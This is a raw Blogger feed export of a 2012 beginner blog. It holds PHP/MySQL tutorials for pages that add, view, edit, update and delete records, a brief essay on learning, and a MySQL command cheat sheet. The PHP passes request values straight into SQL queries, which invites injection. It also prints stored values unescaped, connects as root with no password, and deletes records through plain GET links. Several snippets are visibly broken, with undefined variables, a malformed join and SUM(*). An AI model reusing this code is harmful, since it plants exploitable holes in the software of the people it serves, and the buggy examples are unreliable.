/&gt;mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("sample") or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;$query = mysql_query("select * from akoregister order by id desc");&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;table border="1"&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;Username&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;First Name&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;Last Name&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;Age&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;Action&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;if(mysql_num_rows($query)&amp;gt;0){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while($row= mysql_fetch_array($query)){ ?&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;?=$row['username']?&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;?=$row['fname']?&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;?=$row['lname']?&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;?=$row['age']?&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;a href="update.php?id=&amp;lt;?=$row['id']?&amp;gt;"&amp;gt;[Edit]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href="delete.php?id=&amp;lt;?=$row['id']?&amp;gt;"&amp;gt;[Delete]&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "no record";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan="3"&amp;gt;&amp;lt;a href="index.php" &amp;gt;[Add new record]&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;/table&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-6ziIEUVf5UM/Tzy36DKlA1I/AAAAAAAAAGE/cU4V1WhT6Oc/s1600/vw.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="230" src="http://1.bp.blogspot.com/-6ziIEUVf5UM/Tzy36DKlA1I/AAAAAAAAAGE/cU4V1WhT6Oc/s320/vw.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;-----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;---&amp;gt; DELETE.PHP &amp;lt;-------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;?php&lt;br /&gt;mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("sample") or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;$id&amp;nbsp;&amp;nbsp;&amp;nbsp; = $_GET['id'];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql_query("delete from akoregister where id='".$id."'");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;script&amp;gt;alert('Record successfuly deleted.');window.location.href='view.php';&amp;lt;/script&amp;gt;";&lt;br /&gt;?&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;UPDATE.PHP&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;?php&lt;br /&gt;mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("sample",$konek) or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;$query = mysql_query("select * from akoregister where id='".$_GET['id']."'");&lt;br /&gt;$row = mysql_fetch_array($query);&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;div style="border:1px solid;"&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;form action="edit.php" method="post"&amp;gt;&lt;br /&gt;&amp;lt;input type='hidden' name="id" value="&amp;lt;?=($_GET['id'])?$_GET['id']:''?&amp;gt;"&amp;gt;&lt;br /&gt;username &amp;lt;input type="text" name="username" value="&amp;lt;?=$row['username']?&amp;gt;"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;First name &amp;lt;input type="text" name="fname" value="&amp;lt;?=$row['fname']?&amp;gt;"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;Lastname &amp;lt;input type="text" name="lname" value="&amp;lt;?=$row['lname']?&amp;gt;"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;Age &amp;lt;input type="text" name="age" value="&amp;lt;?=$row['age']?&amp;gt;"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Update"&amp;gt;&lt;br /&gt;&amp;lt;input type="reset" value="Reset"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;a href="view.php" &amp;gt;[Back to home]&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/b&gt;&lt;br /&gt;------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;EDIT.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;?php&lt;br /&gt;$konek = mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("sample",$konek) or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$username= ($_POST['username'])?$_POST['username']:'';&lt;br /&gt;$fname= ($_POST['fname'])?$_POST['fname']:'';&lt;br /&gt;$lname= ($_POST['lname'])?$_POST['lname']:'';&lt;br /&gt;$age= ($_POST['age'])?$_POST['age']:'';&lt;br /&gt;$id&amp;nbsp;&amp;nbsp;&amp;nbsp; = ($_POST['id'])?$_POST['id']:'';&lt;br /&gt;&lt;br /&gt;if($name=="" || $age==""){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;script&amp;gt;alert('Complete all field');history.back();&amp;lt;/script&amp;gt;";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql_query("update akoregister set username='".$username."', age='".$age."', fname='".$fname."', lname='".$lname."' where id='".$id."'");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;script&amp;gt;alert('Record successfuly updated.');window.location.href='view.php';&amp;lt;/script&amp;gt;";&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&amp;nbsp; &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4230558033277717863?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4230558033277717863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4230558033277717863'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/php-creating-simple-website-with-mysql.html' title='Php: Creating Simple Website with MysQl ( for newbe)'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-FSB_-0LwI_s/TzyV3MZgdGI/AAAAAAAAAFE/n13-a4S7YKs/s72-c/extract.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8085042813274051039</id><published>2012-02-06T23:07:00.001-08:00</published><updated>2012-02-06T23:07:40.204-08:00</updated><title type='text'>learning!</title><content type='html'>Learning is acquiring new or modifying existing knowledge, behaviors, skills, values, or preferences and may involve synthesizing different types of information. The ability to learn is possessed by humans, animals and some machines. Progress over time tends to follow learning curves. Learning is not compulsory, it is contextual. It does not happen all at once, but builds upon and is shaped by what we already know. To that end, learning may be viewed as a process,rather than a collection of factual and procedural knowledge.&lt;br /&gt;&lt;br /&gt;Human learning may occur as part of education, personal development, schooling, or training. It may be goal-oriented and may be aided by motivation. The study of how learning occurs is part of neuropsychology, educational psychology, learning theory, and pedagogy. Learning may occur as a result of habituation or classical conditioning, seen in many animal species, or as a result of more complex activities such as play, seen only in relatively intelligent animals.&lt;br /&gt;Learning may occur consciously or without conscious awareness. There is evidence for human behavioral learning prenatally, in which habituation has been observed as early as 32 weeks into gestation, indicating that the central nervous system is sufficiently developed and primed for learning and memory to occur very early on in development.&lt;br /&gt;&lt;br /&gt;Play has been approached by several theorists as the first form of learning. Children play, experiment with the world, learn the rules, and learn to interact. Vygotsky agrees that play is pivotal for children's development, since they make meaning of their environment through play.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8085042813274051039?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8085042813274051039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8085042813274051039'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/learning.html' title='learning!'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8298600826223068664</id><published>2012-02-06T22:57:00.001-08:00</published><updated>2012-02-06T23:04:27.967-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phpexamples'/><title type='text'>SIMPLE PHP ADD, VIEW, EDIT, UPDATE, DELETE</title><content type='html'>&lt;b&gt;INDEX.PHP &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;div style="border:1px solid;"&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;form action="add.php" method="post"&amp;gt;&lt;br /&gt;Fullname &amp;lt;input type="text" name="name"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;Age &amp;lt;input type="text" name="age"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Submit"&amp;gt;&lt;br /&gt;&amp;lt;input type="reset" value="Reset"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ADD.PHP&lt;/b&gt; &lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql_connect("localhost","root","") or die (mysql_error());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "sulod";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql_select_db("datamex") or die (mysql_error());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "abre na ";&lt;br /&gt;&lt;br /&gt;$name= ($_POST['name']);&lt;br /&gt;$age = ($_POST['age']);&lt;br /&gt;&lt;br /&gt;mysql_query("insert users set name='".$name."', age='".$age."'");&lt;br /&gt;echo "&amp;lt;script&amp;gt;alert('Record successfuly saved.');window.location.href='paragview.php';&amp;lt;/script&amp;gt;";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;VIEW.PHP&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$konek = mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("datamex",$konek) or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;$query = mysql_query("select * from users order by id asc");&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;table border="1"&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;Name&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;Age&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;Action&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;if(mysql_num_rows($query)&amp;gt;0){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while($row= mysql_fetch_array($query)){ ?&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;?=$row['name']?&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;?=$row['age']?&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;a href="update.php?id=&amp;lt;?=$row['id']?&amp;gt;"&amp;gt;[Edit]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;lt;a href="delete.php?id=&amp;lt;?=$row['id']?&amp;gt;"&amp;gt;[Delete]&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "no record";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan="3"&amp;gt;&amp;lt;a href="index.php" &amp;gt;[Add new record]&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;EDIT.PHP&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$konek = mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("datamex",$konek) or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$name= ($_POST['name'])?$_POST['name']:'';&lt;br /&gt;$age= ($_POST['age'])?$_POST['age']:'';&lt;br /&gt;$id&amp;nbsp;&amp;nbsp;&amp;nbsp; = ($_POST['id'])?$_POST['id']:'';&lt;br /&gt;&lt;br /&gt;if($name=="" || $age==""){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;script&amp;gt;alert('Complete all field');history.back();&amp;lt;/script&amp;gt;";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql_query("update users set name='".$name."', age='".$age."' where id='".$id."'");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;script&amp;gt;alert('Record successfuly updated.');window.location.href='view.php';&amp;lt;/script&amp;gt;";&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;UPDATE.PHP&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$konek = mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("datamex",$konek) or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;$query = mysql_query("select * from users where id='".$_GET['id']."'");&lt;br /&gt;$row = mysql_fetch_array($query);&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;div style="border:1px solid;"&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;form action="edit.php" method="post"&amp;gt;&lt;br /&gt;&amp;lt;input type='hidden' name="id" value="&amp;lt;?=($_GET['id'])?$_GET['id']:''?&amp;gt;"&amp;gt;&lt;br /&gt;Fullname &amp;lt;input type="text" name="name" value="&amp;lt;?=$row['name']?&amp;gt;"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;Age &amp;lt;input type="text" name="age" value="&amp;lt;?=$row['age']?&amp;gt;"&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" value="Update"&amp;gt;&lt;br /&gt;&amp;lt;input type="reset" value="Reset"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;a href="index.php" &amp;gt;[Back to home]&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;DELETE.PHP&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$konek = mysql_connect("localhost","root","") or die("Cannot connect to server");&lt;br /&gt;mysql_select_db("datamex",$konek) or die("Cannot connect to the database");&lt;br /&gt;&lt;br /&gt;$id&amp;nbsp;&amp;nbsp;&amp;nbsp; = $_GET['id'];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql_query("delete from users where id='".$id."'");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;script&amp;gt;alert('Record successfuly updated.');window.location.href='view.php';&amp;lt;/script&amp;gt;";&lt;br /&gt;?&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8298600826223068664?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8298600826223068664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8298600826223068664'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/simple-php-add-view-edit-update-delete.html' title='SIMPLE PHP ADD, VIEW, EDIT, UPDATE, DELETE'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1072909311964781208</id><published>2012-01-31T22:45:00.000-08:00</published><updated>2012-01-31T22:45:50.693-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><title type='text'>MYSQL SERVER LIST COMMANDS</title><content type='html'>This is a list of handy MySQL commands that I use time and time again. At the bottom are statements, clauses, and functions you can use in MySQL. Below that are PHP and Perl API functions you can use to interface with MySQL. To use those you will need to build PHP with MySQL functionality. To use MySQL with Perl you will need to use the Perl modules DBI and DBD::mysql.&lt;br /&gt;Below when you see # it means from the unix shell. When you see mysql&amp;gt; it means from a MySQL prompt after logging into MySQL.&lt;br /&gt;&lt;h4&gt;To login (from unix shell) use -h only if needed.&lt;/h4&gt;&lt;div class="command"&gt;# [mysql dir]/bin/mysql -h hostname -u root -p&lt;/div&gt;&lt;h4&gt;Create a database on the sql server.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; create database [databasename];&lt;/div&gt;&lt;h4&gt;List all databases on the sql server.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; show databases;&lt;/div&gt;&lt;h4&gt;Switch to a database.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; use [db name];&lt;/div&gt;&lt;h4&gt;To see all the tables in the db.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; show tables;&lt;/div&gt;&lt;h4&gt;To see database's field formats.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; describe [table name];&lt;/div&gt;&lt;h4&gt;To delete a db.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; drop database [database name];&lt;/div&gt;&lt;h4&gt;To delete a table.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; drop table [table name];&lt;/div&gt;&lt;h4&gt;Show all data in a table.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT * FROM [table name];&lt;/div&gt;&lt;h4&gt;Returns the columns and column information pertaining to the designated table.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; show columns from [table name];&lt;/div&gt;&lt;h4&gt;Show certain selected rows with the value "whatever".&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT * FROM [table name] WHERE [field name] = "whatever";&lt;/div&gt;&lt;h4&gt;Show all records containing the name "Bob" AND the phone number '3444444'.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT * FROM [table name] WHERE name = "Bob" AND phone_number = '3444444';&lt;/div&gt;&lt;h4&gt;Show all records not containing the name "Bob" AND the phone number '3444444' order by the phone_number field.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT * FROM [table name] WHERE name != "Bob" AND phone_number = '3444444' order by phone_number;&lt;/div&gt;&lt;h4&gt;Show all records starting with the letters 'bob' AND the phone number '3444444'.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT * FROM [table name] WHERE name like "Bob%" AND phone_number = '3444444';&lt;/div&gt;&lt;h4&gt;Show all records starting with the letters 'bob' AND the phone number '3444444' limit to records 1 through 5.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT * FROM [table name] WHERE name like "Bob%" AND phone_number = '3444444' limit 1,5;&lt;/div&gt;&lt;h4&gt;Use a regular expression to find records. Use "REGEXP BINARY" to force case-sensitivity. This finds any record beginning with a. &lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT * FROM [table name] WHERE rec RLIKE "^a";&lt;/div&gt;&lt;h4&gt;Show unique records.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT DISTINCT [column name] FROM [table name];&lt;/div&gt;&lt;h4&gt;Show selected records sorted in an ascending (asc) or descending (desc).&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT [col1],[col2] FROM [table name] ORDER BY [col2] DESC;&lt;/div&gt;&lt;h4&gt;Return number of rows.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT COUNT(*) FROM [table name];&lt;/div&gt;&lt;h4&gt;Sum column.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; SELECT SUM(*) FROM [table name];&lt;/div&gt;&lt;h4&gt;Join tables on common columns.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; select lookup.illustrationid, lookup.personid,person.birthday from lookup left join person on lookup.personid=person.personid=statement to join birthday in person table with primary illustration id;&lt;/div&gt;&lt;h4&gt;Creating a new user. Login as root. Switch to the MySQL db. Make the user. Update privs.&lt;/h4&gt;&lt;div class="command"&gt;# mysql -u root -p&lt;br /&gt;mysql&amp;gt; use mysql;&lt;br /&gt;mysql&amp;gt; INSERT INTO user (Host,User,Password) VALUES('%','username',PASSWORD('password'));&lt;br /&gt;mysql&amp;gt; flush privileges; &lt;/div&gt;&lt;h4&gt;Change a users password from unix shell.&lt;/h4&gt;&lt;div class="command"&gt;# [mysql dir]/bin/mysqladmin -u username -h hostname.blah.org -p password 'new-password'&lt;/div&gt;&lt;h4&gt;Change a users password from MySQL prompt. Login as root. Set the password. Update privs.&lt;/h4&gt;&lt;div class="command"&gt;# mysql -u root -p&lt;br /&gt;mysql&amp;gt; SET PASSWORD FOR 'user'@'hostname' = PASSWORD('passwordhere');&lt;br /&gt;mysql&amp;gt; flush privileges; &lt;/div&gt;&lt;h4&gt;Recover a MySQL root password. Stop the MySQL server process. Start again with no grant tables. Login to MySQL as root. Set new password. Exit MySQL and restart MySQL server.&lt;/h4&gt;&lt;div class="command"&gt;# /etc/init.d/mysql stop&lt;br /&gt;# mysqld_safe --skip-grant-tables &amp;amp;&lt;br /&gt;# mysql -u root&lt;br /&gt;mysql&amp;gt; use mysql;&lt;br /&gt;mysql&amp;gt; update user set password=PASSWORD("newrootpassword") where User='root';&lt;br /&gt;mysql&amp;gt; flush privileges;&lt;br /&gt;mysql&amp;gt; quit&lt;br /&gt;# /etc/init.d/mysql stop&lt;br /&gt;# /etc/init.d/mysql start&lt;/div&gt;&lt;h4&gt;Set a root password if there is on root password.&lt;/h4&gt;&lt;div class="command"&gt;# mysqladmin -u root password newpassword &lt;/div&gt;&lt;h4&gt;Update a root password.&lt;/h4&gt;&lt;div class="command"&gt;# mysqladmin -u root -p oldpassword newpassword &lt;/div&gt;&lt;h4&gt;Allow the user "bob" to connect to the server from localhost using the password "passwd". Login as root. Switch to the MySQL db. Give privs. Update 